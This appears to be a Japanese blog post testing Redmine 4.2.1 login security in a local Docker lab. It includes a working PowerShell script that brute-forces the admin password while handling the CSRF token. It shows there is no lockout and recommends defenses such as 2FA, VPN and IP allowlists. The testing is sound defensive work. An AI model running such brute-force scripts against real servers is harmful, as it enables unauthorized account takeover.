Redmineのアカウントのセキュリティについて

タスク管理や情報の共有などに利用されているRedmineのアカウントのセキュリティについて調べてみました。

外部からのアクセスができない閉じたネットワーク内で運用している場合は気にならないと思いますが、もし何も対策をせずに外部に公開した場合のアカウントのセキュリティについて確認しました。

確認用の環境の構築

実際に運用しているRedmineで確認を行うことは出来ないのでdockerを使って確認用の環境を構築していきます。提供されているRedmineの公式イメージからコンテナを作成して起動します。バージョンは現時点の最新の4.2.1を指定しました。

docker run --rm -p 8080:3000 --name some-redmine redmine:4.2.1

コンテナが起動したら管理ユーザでアクセスして確認用に以下の設定を行いました。

  • 管理ユーザのパスワードを「pass0100」に変更
  • 管理 > 設定 > 認証タブ > 認証が必要を「はい」に変更

確認してみる

以下はpass0001からpass0100までのパスワードで順番にログインを試行するPowershellスクリプトです。一定回数のログイン失敗でアカウントがロックアウトされるなどの対策があればパスワードの取得に失敗、そうでない場合はログインに成功しパスワードを出力する想定です。

Test-Attack.ps1
$ProgressPreference = "SilentlyContinue"

$username = "admin"
$loginUrl = "http://localhost:8080/login"

# ログイン画面を表示
$resp = Invoke-WebRequest -UseBasicParsing `
  -Uri $loginUrl -Method Get -SessionVariable session

# pass0001 ~ pass0100 までのパスワードでログインを合計100回試行
for ($i = 1; $i -le 100; $i++) {
  $password = "pass" + $i.ToString("0000")

  # csrfトークンを取得
  $csrf = $resp.InputFields | Where-Object { $_.name -eq "authenticity_token" }

  # ログインを試行
  $resp = Invoke-WebRequest -UseBasicParsing `
    -Uri $loginUrl -Method Post -WebSession $session `
    -Body @{ username=$username; password=$password; authenticity_token=$csrf.value }

  # レスポンスのURIを取得
  if ($resp.BaseResponse -is [System.Net.WebResponse]) {
    $respUri = $resp.BaseResponse.ResponseUri
  } else {
    $respUri = $resp.BaseResponse.RequestMessage.RequestUri
  }

  # レスポンスのURIのパスがマイページの場合はログイン成功
  if ($respUri.AbsolutePath -eq "/my/page") {
    Write-Host admin password : $password
    break
  }
}

# 実行結果
# admin password : pass0100

実行結果は100回目のログイン試行でログインに成功しました。

確認してみて

コードベースでも確認しましたが現時点ではRedmineの通常のアカウントには一定回数のログイン失敗時にロックアウトするなどの処理がなく、セキュリティ対策なしにRedmineを外部からアクセスできるようにするのは危険と感じました。

外部からのアクセスできるようにする必要がある場合は例えば

  • ワンタイムパスワードでの二要素認証を必須にする(バージョン4.2.0から標準で対応)
  • VPN経由でのみアクセスを許可する(そもそも外部からのアクセスを許可しない)
  • ホワイトリストによるIPアドレスによるアクセス許可を導入する
  • クライアント証明書による認証を導入する
  • アカウントロックアウトを行えるようなプラグインを導入する

などのセキュリティ対策を検討する必要がありそうです。